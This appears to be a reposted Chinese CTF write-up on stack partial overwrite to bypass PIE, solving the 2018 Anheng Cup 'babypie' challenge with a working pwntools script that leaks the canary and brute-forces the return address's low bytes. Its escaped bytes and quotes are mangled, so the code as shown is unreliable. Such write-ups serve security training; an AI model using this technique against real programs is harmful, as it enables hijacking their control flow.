栈上的 partial overwrite
Posted lxy8584099
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了栈上的 partial overwrite相关的知识,希望对你有一定的参考价值。
partial overwrite 部分覆盖
用到该方法的情况是:存在PIE并且获取某函数地址有一定难度
这时候因为PIE不会修改地址最后几位数如图
可以发现每个函数之后末尾3位不同
所以我们可以仅修改末尾的4位(因为每个字符相当于占两位 无法只修改三位)
这样就有一定的概率返回到我们想要的正确函数地址
安恒杯 2018 年 7 月月赛的 babypie
有canary保护
read读满不会追加/0 就可以顺带把标志位printf出来
正确拼凑padding之后追加‘x3Ex0A‘
进行while 1 方式的尝试 无限回车即可
效果大概是这样的
from pwn import * while 1: io=process(‘./pie‘,timeout=1) io.recvuntil(‘Name: ‘) io.sendline(‘A‘*0x28) io.recvuntil(‘A‘*0x28+‘ ‘) canary=u64(io.recvn(7).rjust(8,‘x00‘)) print ‘canary:‘+hex(canary) io.recvuntil(‘: ‘) payload=‘A‘*0x28+p64(canary)+‘A‘*8+‘x3Ex0A‘ io.send(payload) io.interactive() io.close() # 55C4259F7A6A # 55C4259F7A3E # 55C4259F7960
以上是关于栈上的 partial overwrite的主要内容,如果未能解决你的问题,请参考以下文章
记录一个问题android下的ucontext协程,因为使用栈上的对象,导致cv::Mat被莫名析构